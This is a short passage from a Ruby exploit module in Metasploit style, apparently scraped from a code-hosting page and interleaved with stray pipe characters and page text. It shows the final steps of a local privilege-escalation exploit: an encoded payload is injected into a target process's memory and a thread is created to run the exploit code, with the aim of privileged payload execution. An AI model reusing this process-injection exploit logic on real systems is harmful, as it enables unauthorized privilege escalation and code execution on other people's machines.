payload.encoded
|
||||
].join("\x00")
|
||||
payload_mem = inject_into_process(process, formatted_payload)
|
||||
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
print_status('Payload injected. Executing exploit...')
|
||||
process.thread.create(exploit_mem + offset, payload_mem)
|
||||
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue
Block a user